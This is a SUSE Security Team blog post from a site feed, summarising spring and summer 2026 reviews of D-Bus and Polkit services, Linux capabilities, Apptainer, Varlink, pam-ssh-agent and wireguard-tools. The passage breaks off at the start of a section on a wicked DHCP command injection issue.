<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://security.opensuse.org/feed.xml" rel="self" type="application/atom+xml" /><link href="https://security.opensuse.org/" rel="alternate" type="text/html" /><updated>2026-11-11T23:21:15+00:00</updated><id>https://security.opensuse.org/feed.xml</id><title type="html">SUSE Security Team Blog</title><subtitle>Open Source vulnerability reports and code review results.</subtitle><entry><title type="html">SUSE Security Team Spotlight Spring/Summer 2026</title><link href="https://security.opensuse.org/2026/09/10/spring-summer-spotlight.html" rel="alternate" type="text/html" title="SUSE Security Team Spotlight Spring/Summer 2026" /><published>2026-09-10T00:00:00+00:00</published><updated>2026-09-10T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/09/10/spring-summer-spotlight</id><content type="html" xml:base="https://security.opensuse.org/2026/09/10/spring-summer-spotlight.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#section-dbus-polkit" id="markdown-toc-section-dbus-polkit">2) D-Bus and Polkit Additions</a>    <ul>
      <li><a href="#21-systemd-v2602-and-v261-reviews" id="markdown-toc-21-systemd-v2602-and-v261-reviews">2.1) systemd v260.2 and v261 Reviews</a></li>
      <li><a href="#22-polkit-rules-file-in-upower" id="markdown-toc-22-polkit-rules-file-in-upower">2.2) Polkit Rules File in upower</a></li>
      <li><a href="#23-new-polkit-action-aa-notifyfrom_file-in-apparmor" id="markdown-toc-23-new-polkit-action-aa-notifyfrom_file-in-apparmor">2.3) New Polkit Action <code class="language-plaintext highlighter-rouge">aa-notify.from_file</code> in AppArmor</a></li>
      <li><a href="#24-new-polkit-actions-in-fwupd-214" id="markdown-toc-24-new-polkit-actions-in-fwupd-214">2.4) New Polkit Actions in <code class="language-plaintext highlighter-rouge">fwupd</code> 2.1.4</a></li>
      <li><a href="#25-changes-in-polkit-rules-in-gnome-initial-setup" id="markdown-toc-25-changes-in-polkit-rules-in-gnome-initial-setup">2.5) Changes in Polkit Rules in gnome-initial-setup</a></li>
      <li><a href="#26-d-bus-and-varlink-services-in-wall-broadcaster" id="markdown-toc-26-d-bus-and-varlink-services-in-wall-broadcaster">2.6) D-Bus and Varlink Services in <code class="language-plaintext highlighter-rouge">wall-broadcaster</code></a></li>
      <li><a href="#27-transactional-update-notifier-d-bus-service" id="markdown-toc-27-transactional-update-notifier-d-bus-service">2.7) Transactional Update Notifier D-Bus Service</a></li>
      <li><a href="#28-plasma-kameleon-rgb-led-helper" id="markdown-toc-28-plasma-kameleon-rgb-led-helper">2.8) Plasma Kameleon RGB LED Helper</a></li>
      <li><a href="#29-samba-helper-in-kdenetwork-filesharing" id="markdown-toc-29-samba-helper-in-kdenetwork-filesharing">2.9) Samba Helper in <code class="language-plaintext highlighter-rouge">kdenetwork-filesharing</code></a></li>
      <li><a href="#210-gnome-remote-desktop-race-condition-in-new-pcscd-api-in-51beta" id="markdown-toc-210-gnome-remote-desktop-race-condition-in-new-pcscd-api-in-51beta">2.10) GNOME Remote Desktop Race Condition in new <code class="language-plaintext highlighter-rouge">pcscd</code> API in 51.beta</a></li>
    </ul>
  </li>
  <li><a href="#section-caps" id="markdown-toc-section-caps">3) Review of File-Based Linux Capabilities</a>    <ul>
      <li><a href="#31-after-the-fact-review-of-slipped-capabilities" id="markdown-toc-31-after-the-fact-review-of-slipped-capabilities">3.1) After-the-Fact Review of Slipped Capabilities</a></li>
      <li><a href="#32-cap_net_raw-for-cacti-spine" id="markdown-toc-32-cap_net_raw-for-cacti-spine">3.2) CAP_NET_RAW for <code class="language-plaintext highlighter-rouge">cacti-spine</code></a></li>
      <li><a href="#33-cap_perfmon-for-ksystemstats6" id="markdown-toc-33-cap_perfmon-for-ksystemstats6">3.3) CAP_PERFMON for <code class="language-plaintext highlighter-rouge">ksystemstats6</code></a></li>
    </ul>
  </li>
  <li><a href="#section-apptainer" id="markdown-toc-section-apptainer">4) Revisit of Apptainer</a></li>
  <li><a href="#section-varlink" id="markdown-toc-section-varlink">5) Restriction of Varlink Service Packaging</a></li>
  <li><a href="#section-pam-ssh-agent" id="markdown-toc-section-pam-ssh-agent">6) pam-ssh-agent Module</a></li>
  <li><a href="#section-wireguard" id="markdown-toc-section-wireguard">7) wireguard-tools: Update Logic for resolv.conf</a></li>
  <li><a href="#section-wicked" id="markdown-toc-section-wicked">8) wicked: Command Injection via DHCP Options (CVE-2026-44932)</a></li>
  <li><a href="#9-conclusion" id="markdown-toc-9-conclusion">9) Conclusion</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p>This edition of the spotlight series covers both spring and summer 2026, since
we did not get around to publishing a dedicated spring article due to high
workload in our team. Some of the highlights that kept us busy during that
time were:</p>

<ul>
  <li><a href="/2026/04/16/cosmic-greeter.html">Incomplete privilege drop</a> in cosmic-greeter when
accessing files in user home directories.</li>
  <li><a href="/2026/04/27/plasma-login-manager.html">Defense-in-depth issues</a> in a D-Bus helper in plasma-login-manager.</li>
  <li><a href="/2026/05/11/malcontent-disk-space-dos.html">Disk space exhaustion</a> in the malcontent parental control system.</li>
  <li><a href="/2026/05/26/qsnapper-dbus-issues.html">Various issues leading to privilege escalation</a> in qSnapper, a GUI frontend for the <code class="language-plaintext highlighter-rouge">snapper</code> utility.</li>
  <li><a href="/2026/07/15/selinux-seunshare.html">Local Denial-of-Service attack vectors</a> in <code class="language-plaintext highlighter-rouge">seunshare</code>, a
sandboxing program from SELinux userspace utilities.</li>
  <li><a href="/2026/07/22/port-proton-qt-polkit-rules.html">Escalation of Network Manager and UDisks2 Privileges</a> in
PortProtonQt, a GUI application for launching Windows games on Linux.</li>
  <li><a href="/2026/08/25/openrgb-remote-vulnerabilities.html">Full remote system compromise</a> in a network protocol in
OpenRGB.</li>
  <li><a href="/2026/08/31/lact-gpu-control.html">Authentication bypass</a> in LACT, a GPU manager application for
Linux.</li>
</ul>

<p>Apart from these dedicated publications, we want to shed some light on some
less visible efforts in our team during these past months. Topics that we will
cover this time are various changes to D-Bus service configuration and Polkit
policies which we will cover in <a href="#section-dbus-polkit">section 2)</a>. In <a href="#section-caps">section
3)</a> we will look into a number of file-based Linux capability
assignments in packages. In <a href="#section-apptainer">section 4)</a> we will discuss a
revisit of the <code class="language-plaintext highlighter-rouge">starter-suid</code> setuid-root binary in the Apptainer container
runtime. In <a href="#section-varlink">section 5)</a> we will point out new whitelisting
restrictions in SUSE distributions regarding the packaging of Varlink
services. In <a href="#section-pam-ssh-agent">section 6)</a> we will examine the
pam-ssh-agent module which was recently packaged for openSUSE. In <a href="#section-wireguard">section
7)</a> we will discuss concerns about a script in <code class="language-plaintext highlighter-rouge">wg-quick</code>
for setting up DNS for Wireguard VPN interfaces. Finally, in <a href="#section-wicked">section
8)</a> we will look at a shell command injection issue we found
in the <code class="language-plaintext highlighter-rouge">wicked</code> network configuration framework, which can lead to remote root
code execution in combination with <code class="language-plaintext highlighter-rouge">dracut</code>.</p>

<h1 id="section-dbus-polkit">2) D-Bus and Polkit Additions</h1>

<p>As usual, many of our reviews were concerned with D-Bus services and Polkit
authentication. We look into packages containing D-Bus interfaces and Polkit
policies, both when they are first introduced and if they are later modified.
In the past months we dealt with a number of reviews of this type, discussed
in the following sub-sections.</p>

<h2 id="21-systemd-v2602-and-v261-reviews">2.1) systemd v260.2 and v261 Reviews</h2>

<p>As we pointed out <a href="https://security.opensuse.org/2026/04/20/winter-spotlight.html#section-systemd">in previous</a> spotlight editions,
systemd is a heavy user of D-Bus and Polkit and also started backporting new
features from the mainline development to existing release branches, resulting
in an increased review effort on our end.</p>

<p>This time we looked into the <a href="https://bugzilla.suse.com/show_bug.cgi?id=1266944">follow-up release v260.2</a>,
which introduced Polkit actions <code class="language-plaintext highlighter-rouge">org.freedesktop.machine1.inspect-machines</code> and
<code class="language-plaintext highlighter-rouge">org.freedesktop.machine1.inspect-images</code> in the context of
<code class="language-plaintext highlighter-rouge">systemd-machined</code>. Nothing problematic was found in these two additions.</p>

<p>The new major release of systemd v261 <a href="https://bugzilla.suse.com/show_bug.cgi?id=1267504">also resulted in a review bug for
us</a>. Various Polkit actions were added to our
systemd-experimental package, as well as a couple to <code class="language-plaintext highlighter-rouge">systemd-machined</code> and
<code class="language-plaintext highlighter-rouge">systemd-resolved</code>. In this case we also had nothing to complain about and
allowed the changes to enter openSUSE Tumbleweed.</p>

<h2 id="22-polkit-rules-file-in-upower">2.2) Polkit Rules File in upower</h2>

<p>The energy management software upower <a href="https://bugzilla.suse.com/show_bug.cgi?id=1265867">triggered a review</a> due to
a Polkit rules file which appeared in the package. Polkit rules are JavaScript
drop-in files which alter the outcome of Polkit authentication requests based
on custom logic. In this case <a href="https://gitlab.freedesktop.org/upower/upower/-/blob/v1.91.3/policy/org.freedesktop.upower.rules?ref_type=tags">a strange rule</a> was added to
upower, allowing the <code class="language-plaintext highlighter-rouge">root</code> user to perform system power state changes
like rebooting or entering suspend. Since the <code class="language-plaintext highlighter-rouge">root</code> user is by default
allowed to perform any Polkit operation anyway, we asked our upower packager
to investigate what the supposed purpose of the rules file might be. He was
unable to find out, however, therefore we decided to simply drop this rule
file from the package to avoid unnecessary administration efforts. It could be
that the rules file is intended to be used on systems where even the <code class="language-plaintext highlighter-rouge">root</code>
user has limited capabilities.</p>

<h2 id="23-new-polkit-action-aa-notifyfrom_file-in-apparmor">2.3) New Polkit Action <code class="language-plaintext highlighter-rouge">aa-notify.from_file</code> in AppArmor</h2>

<p>The AppArmor utility <code class="language-plaintext highlighter-rouge">aa-notify</code>, which allows system administrators to easily
whitelist AppArmor violations, <a href="https://bugzilla.suse.com/show_bug.cgi?id=1265157">added an additional Polkit
action</a> <code class="language-plaintext highlighter-rouge">net.apparmor.pkexec.aa-notify.from_file</code>.
This action allows to read in additional AppArmor commands from a file on
disk. All the Polkit actions related to <code class="language-plaintext highlighter-rouge">aa-notify</code> require <code class="language-plaintext highlighter-rouge">auth_admin</code>
authentication and are inherently risky, since they provide full
system access via various angles. The defense-in-depth and separation of
privileges is not ideal here, but we decided to accept the change, since there
are no better alternatives available for managing AppArmor profiles.</p>

<h2 id="24-new-polkit-actions-in-fwupd-214">2.4) New Polkit Actions in <code class="language-plaintext highlighter-rouge">fwupd</code> 2.1.4</h2>

<p>The firmware update daemon is another heavy user of D-Bus and Polkit. We
reviewed it many times in the past already as changes to the API appeared.
Security-wise we rarely found tangible issues, but the interface is vast and
only parts of it are actually authenticated, while the rest offers access to
public information and similar code paths which are assumed to be uncritical.</p>

<p>For the recent update of <code class="language-plaintext highlighter-rouge">fwupd</code> to 2.1.4 we <a href="https://bugzilla.suse.com/show_bug.cgi?id=1267014">reviewed a couple of additional
Polkit actions</a>, some of which adding authentication to previously
unrestricted D-Bus methods. We couldn’t find any issues in the API changes,
and accepted the new version into openSUSE Tumbleweed.</p>

<h2 id="25-changes-in-polkit-rules-in-gnome-initial-setup">2.5) Changes in Polkit Rules in gnome-initial-setup</h2>

<p>gnome-initial-setup is a wizard intended for single-user systems to create a
user account with administrator privileges after installation of Gnome-based
systems. Its approach is to allow a special <code class="language-plaintext highlighter-rouge">gnome-initial-setup</code> user to
obtain a range of root-like privileges to perform the necessary initial setup
logic.</p>

<p>The security boundary between the <code class="language-plaintext highlighter-rouge">gnome-initial-setup</code> user and <code class="language-plaintext highlighter-rouge">root</code> is
very thin, but the approach is still better than running the setup wizard
with full root privileges. A somewhat worrying aspect of the component is that
the wizard automatically starts after system boot when there are “no user
accounts present” in the system, which is a condition that might be possible
to fake or force by way of other security issues in the system.</p>

<p>We have reviewed the package a couple of times in the past. This time a <a href="https://bugzilla.suse.com/show_bug.cgi?id=1273685">change
to the Polkit rules</a> in the package appeared, which led us to looking
into the code once again. The change allows <code class="language-plaintext highlighter-rouge">gnome-initial-setup</code> to invoke
Polkit action <code class="language-plaintext highlighter-rouge">org.freedesktop.home1.passwd-home</code> without providing a
password, for setting up a portable home directory managed by systemd. This does
not change the general security concept of gnome-initial-setup, which is why
we accepted the change into openSUSE.</p>

<h2 id="26-d-bus-and-varlink-services-in-wall-broadcaster">2.6) D-Bus and Varlink Services in <code class="language-plaintext highlighter-rouge">wall-broadcaster</code></h2>

<p>A while ago <a href="https://bugzilla.suse.com/show_bug.cgi?id=1263701">a new D-Bus and Varlink service</a> called
<code class="language-plaintext highlighter-rouge">wall-broadcaster</code> was added to openSUSE Tumbleweed. This service aims to
replace the old-school <code class="language-plaintext highlighter-rouge">wall</code> setuid binary, which allows to write terminal
messages to all users in the system. Messages processed by this service are
also forwarded on D-Bus level e.g. to interested consumers in graphical
desktop environments.</p>

<p>We inspected the privileged components and protocols and could not find any
security issues, which is why we accepted the new services.</p>

<h2 id="27-transactional-update-notifier-d-bus-service">2.7) Transactional Update Notifier D-Bus Service</h2>

<p><code class="language-plaintext highlighter-rouge">txnupd</code> is a notifier for SUSE systems based on
<a href="https://github.com/openSUSE/transactional-update">transactional-update</a>. It sends out a D-Bus signal
propagating the results of a transactional update process. The corresponding
D-Bus service <a href="https://bugzilla.suse.com/show_bug.cgi?id=1268577">was recently renamed</a>, which triggered a follow-up
review. The privileged daemon which emits the D-Bus signal is only accessible
by <code class="language-plaintext highlighter-rouge">root</code> and does not cross privilege boundaries, thus this is a rather
worry-free case of a D-Bus service.</p>

<p>Still we identified an issue during the review, namely that the same script
was used in two different modes, in a privileged and an unprivileged context,
mixing two different security domains, which could potentially lead to future
issues when developers overlook this detail when making changes. We managed to
improve the service in this regard by splitting the script into two different
ones for better separation of security concerns.</p>

<h2 id="28-plasma-kameleon-rgb-led-helper">2.8) Plasma Kameleon RGB LED Helper</h2>

<p>A new D-Bus service <a href="https://bugzilla.suse.com/show_bug.cgi?id=1267818">was added to kdeplasma6-addons</a>
which deals with the synchronization of RGB LED devices, like illuminated
keyboards, with the color scheme of the KDE Plasma desktop. We looked into
the privileged D-Bus helper for this feature and found the interface to be
small and offer little attack surface, thus we accepted the new component into
openSUSE.</p>

<h2 id="29-samba-helper-in-kdenetwork-filesharing">2.9) Samba Helper in <code class="language-plaintext highlighter-rouge">kdenetwork-filesharing</code></h2>

<p>A D-Bus service in the <code class="language-plaintext highlighter-rouge">kdenetwork-filesharing</code> package which interacts with
Samba network shares saw changes in <a href="https://bugzilla.suse.com/show_bug.cgi?id=1262258">its D-Bus
configuration</a> and <a href="https://bugzilla.suse.com/show_bug.cgi?id=1263037">Polkit
policy</a>. The name of the helper binary was changed and
additional Polkit actions for starting and stopping the Samba daemon were
added. We could not identify newly introduced security issues and thus
accepted the changes into openSUSE.</p>

<h2 id="210-gnome-remote-desktop-race-condition-in-new-pcscd-api-in-51beta">2.10) GNOME Remote Desktop Race Condition in new <code class="language-plaintext highlighter-rouge">pcscd</code> API in 51.beta</h2>

<p>Our GNOME packagers <a href="https://bugzilla.suse.com/show_bug.cgi?id=1276523">reached out to us</a> regarding changes they
ran into in the GNOME Remote Desktop beta release for version 51. The GNOME
Remote Desktop component is constantly growing in complexity, by now amounting
to about 75,000 lines of Glib-based C code. This time a new daemon called
<code class="language-plaintext highlighter-rouge">grd-pcscd</code> was added, which offers an additional D-Bus API to deal with smart
cards by interacting with the <code class="language-plaintext highlighter-rouge">pcscd</code> smart card management daemon. The
approach of the D-Bus interface is a bit unusual:</p>

<ul>
  <li>there is a new <code class="language-plaintext highlighter-rouge">org.gnome.RemoteDesktop.Pcscd.Connect</code> D-Bus method which is
accessible to arbitrary users without authorization checks. The method takes
a file descriptor as sole argument, which is supposed to refer to a <code class="language-plaintext highlighter-rouge">pcscd</code>
connection that <code class="language-plaintext highlighter-rouge">grd-pcscd</code> should use for further smart card operations.</li>
  <li>the daemon runs a separate D-Bus session on this file descriptor via Glib’s
<code class="language-plaintext highlighter-rouge">g_dbus_connection_new()</code>.</li>
  <li>the session of the process calling <code class="language-plaintext highlighter-rouge">Pcscd.Connect</code> is looked up via the
caller’s PID. Based on the session ID obtained this way, another D-Bus
interface is then made available in the daemon under
<code class="language-plaintext highlighter-rouge">/org/gnome/RemoteDesktop/Pcscd/&lt;session-id&gt;</code>, offering the
<code class="language-plaintext highlighter-rouge">org.gnome.RemoteDesktop.Pcscd.Session</code> interface. All methods on this
interface are protected by Polkit <code class="language-plaintext highlighter-rouge">auth_admin</code> actions and therefore offer
no additional attack surface.</li>
</ul>

<p>We checked possible attack vectors resulting from crafted data sent on the
file descriptor passed to the <code class="language-plaintext highlighter-rouge">Pcscd.Connect()</code> method. The Glib functions
processing D-Bus messages on this file descriptor are pretty robust, however,
and valid D-Bus messages will not reach any additional code paths as long as
no further configuration takes place via the privileged <code class="language-plaintext highlighter-rouge">Pcscd.Session</code> API.</p>

<p>We found the lookup of the caller’s session ID based on its PID problematic,
however. This is a race condition that allows the caller to attempt to let the
daemon see the session of another user in the system, by cycling PIDs. This
allows a local unprivileged attacker to at least block other users’ smart card
usage. Even worse, it allows to potentially spoof <code class="language-plaintext highlighter-rouge">pcscd</code> replies or
intercept sensitive data like smart card PINs provided in other users’
sessions.</p>

<p>We created <a href="https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/work_items/360">a private upstream bug</a> describing the
problem. Since the issue only made it into the 51.beta release of GNOME, there
was no necessity for coordinated disclosure and we also did not assign CVEs.
We are happy that we helped to prevent this issue from reaching the final
release of GNOME 51.</p>

<h1 id="section-caps">3) Review of File-Based Linux Capabilities</h1>

<p>File-based <a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">capabilities</a> work much the same as setuid-root
binaries: special extended attributes are set on executable binary programs
which tell the Linux kernel to automatically execute the program with
additional Linux capabilities in effect. During the past months we looked into
quite a number of Linux capability assignment requests, which we will discuss
in detail in the following sub-sections.</p>

<h2 id="31-after-the-fact-review-of-slipped-capabilities">3.1) After-the-Fact Review of Slipped Capabilities</h2>

<p>Special file-based permissions like setuid/setgid bits or Linux capabilities
have been managed in SUSE distributions via the <a href="https://github.com/openSUSE/permissions/">permissions</a>
package for a long time already. Packaging of such bits is restricted
and requires mandatory reviews by our team. Recently it <a href="https://bugzilla.suse.com/show_bug.cgi?id=1268674">came to our
attention</a> that a loophole sneaked into our checkers,
resulting in a couple of packages which use file-based capabilities reaching
openSUSE Tumbleweed without us having looked into them.</p>

<p>Historically the RPM packaging format did not support embedding of Linux
capabilities into package metadata in the first place, thus there was no need
to reject them on this level: only a warning was emitted by our <code class="language-plaintext highlighter-rouge">rpmlint</code>
integration when capabilities appeared. With recent releases of the RPM
package manager, this restriction is no longer present. Our RPM checkers
recognized the capabilities which lacked a whitelisting but did not trigger
fatal build errors. This allowed the affected packages to reach openSUSE
Tumbleweed without going through the intended security review process.</p>

<p>Once we noticed this, we quickly adjusted our checkers to prevent such cases in
the future and looked into the packages that slipped into production without a
review. The following paragraphs discuss the reviews we performed in this
context.</p>

<h3 id="cap_net_admin-and-cap_net_raw-for-ttl">CAP_NET_ADMIN and CAP_NET_RAW for <code class="language-plaintext highlighter-rouge">ttl</code></h3>

<p><a href="https://bugzilla.suse.com/show_bug.cgi?id=1270714">The ttl package</a> assigned <code class="language-plaintext highlighter-rouge">cap_net_admin</code> and <code class="language-plaintext highlighter-rouge">cap_net_raw</code> to the
<code class="language-plaintext highlighter-rouge">ttl</code> binary for tracing network routes. During our review we identified that
actually only <code class="language-plaintext highlighter-rouge">cap_net_raw</code> was necessary and we could successfully drop the
broader <code class="language-plaintext highlighter-rouge">cap_net_admin</code> privilege. Otherwise we deemed the code paths for
<code class="language-plaintext highlighter-rouge">cap_net_raw</code> safe and accepted the capability formally into our
whitelistings.</p>

<h3 id="cap_sys_resource-for-noisetorch">CAP_SYS_RESOURCE for <code class="language-plaintext highlighter-rouge">noisetorch</code></h3>

<p><a href="https://bugzilla.suse.com/show_bug.cgi?id=1270715">The noisetorch package</a> provides a virtual microphone in
Pulseaudio and assigns <code class="language-plaintext highlighter-rouge">cap_sys_resource</code> to the <code class="language-plaintext highlighter-rouge">noisetorch</code> binary for
bypassing realtime scheduling limits. We looked into this <a href="https://bugzilla.suse.com/show_bug.cgi?id=1184843">a longer time ago
already</a> and rejected the capability, because the use case
for the additional privilege was not very convincing.</p>

<p>There exists a corner case in Pulseaudio that can cause it to exceed realtime
scheduling limits when loading plugins. The noisetorch plugin seems to trigger
this corner case in some situations, which is why it temporarily bypasses
scheduling limits by modifying the Pulseaudio process based on the
<code class="language-plaintext highlighter-rouge">cap_sys_resource</code> capability. Furthermore the <code class="language-plaintext highlighter-rouge">noisetorch</code> program attempts
to modify its own executable by adding the <code class="language-plaintext highlighter-rouge">cap_sys_resource</code> capability
via a privilege escalation dialog, should it be missing. This mixture of a
capability being used to work around what looks like a bug in Pulseaudio and
the fact that the program tries to apply its own policy regarding file-based
capabilities is what led us to reject this request previously.</p>

<p>After looking into the matter again we decided to accept the capability this
time, provided that the package would be patched to disable the
self-modification logic, which we deem unsuitable, since it bypasses our
<a href="https://github.com/openSUSE/permissions/">permissions</a> profiles. A <a href="https://build.opensuse.org/projects/openSUSE:Factory/packages/noisetorch/files/remove-self-cap-assignment.patch?expand=1">corresponding patch</a>
was implemented and we proceeded with a formal whitelisting of
<code class="language-plaintext highlighter-rouge">cap_sys_resource</code> for <code class="language-plaintext highlighter-rouge">noisetorch</code>.</p>

<h3 id="cap_net_admin-for-cloud-hypervisor">CAP_NET_ADMIN for <code class="language-plaintext highlighter-rouge">cloud-hypervisor</code></h3>

<p><a href="https://bugzilla.suse.com/show_bug.cgi?id=1270717">The <code class="language-plaintext highlighter-rouge">cloud-hypervisor</code> package</a> is a virtual
machine manager and uses <code class="language-plaintext highlighter-rouge">cap_net_admin</code> to configure privileged virtual
machine networking. During our review we focused on the code paths that deal with
<code class="language-plaintext highlighter-rouge">cap_net_admin</code> only, because the project consists of 150,000 lines of Rust
code, not counting vendored code. We could not find issues in the
<code class="language-plaintext highlighter-rouge">cap_net_admin</code> usage and therefore formally accepted this use of capabilities
as well.</p>

<h2 id="32-cap_net_raw-for-cacti-spine">3.2) CAP_NET_RAW for <code class="language-plaintext highlighter-rouge">cacti-spine</code></h2>

<p>Cacti is a system and network monitoring tool, and <code class="language-plaintext highlighter-rouge">cacti-spine</code> is a C
program used as a drop-in replacement for a PHP-based program in Cacti for
polling network services. In this context <a href="https://bugzilla.suse.com/show_bug.cgi?id=1273300">it asks for
<code class="language-plaintext highlighter-rouge">cap_net_raw</code></a> privileges to send out ICMP messages.
According to upstream documentation the utility is even intended to be used
with full setuid-root privileges: this is not a good idea at all, however,
since it is not very careful in parsing and processing command line arguments,
among other issues. Assigning <code class="language-plaintext highlighter-rouge">cap_net_raw</code> is acceptable, though; we could
not find any tangible security issues in this configuration.</p>

<h2 id="33-cap_perfmon-for-ksystemstats6">3.3) CAP_PERFMON for <code class="language-plaintext highlighter-rouge">ksystemstats6</code></h2>

<p>The <a href="https://bugzilla.suse.com/show_bug.cgi?id=1262779">ksystemstats6 package</a> contains the helper program
<code class="language-plaintext highlighter-rouge">ksystemstats_intel_helper</code>, for which an openSUSE user requested the
<code class="language-plaintext highlighter-rouge">cap_perfmon</code> capability. The helper utility needs it to calculate the GPU
usage in the system. The rarely seen <code class="language-plaintext highlighter-rouge">cap_perfmon</code> allows programs to open
otherwise privileged performance event counters. The utility is only 200 lines
long; for prudence we requested to apply a patch with a hardening to the
program <a href="https://invent.kde.org/plasma/ksystemstats/-/merge_requests/141">which also made it into the upstream
repository</a> by now. After this patch arrived in
the openSUSE package we granted the capability in openSUSE Tumbleweed.</p>

<h1 id="section-apptainer">4) Revisit of Apptainer</h1>

<p>Apptainer is a container runtime (formerly called Singularity) which we
already reviewed a couple of times in the past, since it contains a
setuid-root binary <code class="language-plaintext highlighter-rouge">starter-suid</code>. The early reviews around the year 2019
uncovered <a href="https://www.openwall.com/lists/oss-security/2018/12/12/2">a number</a> of <a href="https://www.openwall.com/lists/oss-security/2019/05/16/1">security
issues</a> in this area. A few years ago we dropped the
<code class="language-plaintext highlighter-rouge">starter-suid</code> binary from our packaging, because upstream implemented new
features which we believed made the extra privileges unnecessary.</p>

<p>A SUSE customer recently ran into issues because of a specific Apptainer use
case they had, which still relied on the <code class="language-plaintext highlighter-rouge">starter-suid</code> program being
installed. For this reason <a href="https://bugzilla.suse.com/show_bug.cgi?id=1265157">we revisited the Apptainer code
base</a> to check the current situation of this sensitive helper
binary.</p>

<p>The logic executed by the <code class="language-plaintext highlighter-rouge">starter-suid</code> program is still highly complex and
its execution paths hard to follow. We could not identify any new issues in
the code this time, however, which is why we accepted the setuid-root binary
back into SUSE distributions. Since we are still unhappy about the overall
complexity of the program we are relying on an opt-in model: users need to
become a member of the <code class="language-plaintext highlighter-rouge">apptainer</code> group to use it, which limits the attack
surface.</p>

<h1 id="section-varlink">5) Restriction of Varlink Service Packaging</h1>

<p>With <a href="https://varlink.org">Varlink</a> services becoming more widespread, we decided to
introduce whitelisting restrictions for packages wanting to submit them to SUSE
distributions. Contrary to D-Bus services, there is no central instance
managing the Inter-Process-Communication of Varlink, and there are also no
standard configuration files that every Varlink service ships. Varlink
applications simply define a path where the Varlink UNIX domain socket will be
placed and that is about all there is to it.</p>

<p>A kind of standard pattern in systemd socket units for Varlink daemons is that
they contain a <code class="language-plaintext highlighter-rouge">FileDescriptorName=varlink</code> directive. This is what we have
decided to rely on to restrict the packaging of Varlink services. We <a href="https://bugzilla.suse.com/show_bug.cgi?id=1261919">looked
into all existing socket units</a> of this kind in openSUSE and did
not find any tangible security issues in them. From now on, when packages
contain new Varlink socket units, a mandatory review by our team will be
required before they can be added to SUSE distributions.</p>

<h1 id="section-pam-ssh-agent">6) pam-ssh-agent Module</h1>

<p>Recently we <a href="https://bugzilla.suse.com/show_bug.cgi?id=1274633">received a request</a> to allow the
<code class="language-plaintext highlighter-rouge">pam-ssh-agent</code> module into openSUSE. The module performs PAM authentication
based on SSH public keys: a random payload is requested to be signed by an SSH
private key; the signature is then verified by the PAM module based on a
list of configured trusted public keys.</p>

<p>The PAM module is of moderate size, consisting of about 1,500 lines of Rust
(not counting vendored sources). The code and documentation generally show
security-consciousness, which is a good thing. We identified <a href="https://bugzilla.suse.com/show_bug.cgi?id=1274633#c4">a few
aspects</a> in the PAM module that could be
problematic, mostly as a result of bad configuration:</p>

<ul>
  <li>the PAM module can be configured to look for acceptable public keys in the
to-be-authenticated user’s home directory, which allows to basically bypass
local <code class="language-plaintext highlighter-rouge">sudo</code> authentication, for example. This is also <a href="https://github.com/nresare/pam-ssh-agent/blob/f73c8609a45fec60c7fd9f02bd41bfd1bd1d835d/README.md?plain=1#L123">documented in the
upstream README</a>.</li>
  <li>an <code class="language-plaintext highlighter-rouge">authorized_keys_command</code> can be configured to call a program which
produces authorized public keys. If an untrusted program is configured here
then this would result in issues in local authentication scenarios.</li>
  <li>the <code class="language-plaintext highlighter-rouge">authorized_keys_command</code> is by default run with the privileges of the
to-be-authenticated user; an option allows to change this to be run as
<code class="language-plaintext highlighter-rouge">root</code>, however, which could easily lead to security issues further down the
chain.</li>
  <li>a special authentication path in the PAM module inspects the
<code class="language-plaintext highlighter-rouge">SSH_AUTH_INFO_0</code> environment variable, if the current PAM stack file is
named “ssh”. Public keys found in this environment variable are implicitly
trusted by the PAM module, assuming that <code class="language-plaintext highlighter-rouge">sshd</code> already took care of the
authentication, verifying the public key(s). This is a bit of a heuristic,
which could break in some (highly) unexpected scenarios.</li>
</ul>

<p>In spite of these uncertainties we are generally content with the quality and
documentation of the PAM module and accepted it into openSUSE. It is up to
system administrators to configure this PAM module carefully to avoid any
security issues.</p>

<h1 id="section-wireguard">7) wireguard-tools: Update Logic for resolv.conf</h1>

<p>An openSUSE user was concerned <a href="https://bugzilla.suse.com/show_bug.cgi?id=1266267">about the security of
<code class="language-plaintext highlighter-rouge">wg-quick</code></a>, a script which is part of the wireguard-tools
package, a collection of utilities for the Wireguard VPN solution. <code class="language-plaintext highlighter-rouge">wg-quick</code>
is supposed to bring up a WireGuard VPN interface in a worry-free manner.</p>

<p>A Linux-specific <a href="https://github.com/WireGuard/wireguard-tools/blob/a998407747005ea7e4e0258d96f105c97241e1d3/contrib/dns-hatchet/hatchet.bash">“DNS hatchet”</a> is applied
during build time of wireguard-tools on openSUSE. Hatchets are overrides of
the script logic in <code class="language-plaintext highlighter-rouge">wg-quick</code>, a rather makeshift approach at customizing the
logic towards specific operating systems.</p>

<p>The openSUSE user approached us because he was worried about the
mount logic that this “DNS hatchet” implements for <code class="language-plaintext highlighter-rouge">/etc/resolv.conf</code>. During
the review we found the approach of the script a bit unexpected but not unsafe
at all. The script is concerned with the safe update of name server
configuration in <code class="language-plaintext highlighter-rouge">/etc/resolv.conf</code>, a resource which is difficult to manage
in Linux, because there is no central mechanism for maintaining the
consistency of the file when multiple programs want to modify it. VPN clients
are a typical use case when this results in problems: the VPN client adds
VPN-specific name servers, thereby overriding previously existing name servers
from static configuration or provided by DHCP servers. When the configuration
is blindly overwritten this results in the loss of the original DNS
configuration; once the VPN connection is terminated, DNS is no longer
working.</p>

<p>To prevent this situation, the “DNS hatchet” performs a bind-mount of the new
configuration file over the original one in <code class="language-plaintext highlighter-rouge">/etc/resolv.conf</code>. The resulting
file will be read-only, preventing further modifications of the configuration
until the VPN connection is terminated. When the VPN is shutdown, the
bind-mounted file will be unmounted again and the original name server
configuration reinstated.</p>

<p>We have no security concerns about this logic, and explained the situation to
the creator of the review bug accordingly.</p>

<h1 id="section-wicked">8) wicked: Command Injection via DHCP Options (CVE-2026-44932)</h1>

<p><code class="language-plaintext highlighter-rouge">wicked</code> is the network configuration framework used in SUSE Linux Enterprise
15-SP7 and earlier. Its DHCP clients dump the settings of an acquired lease
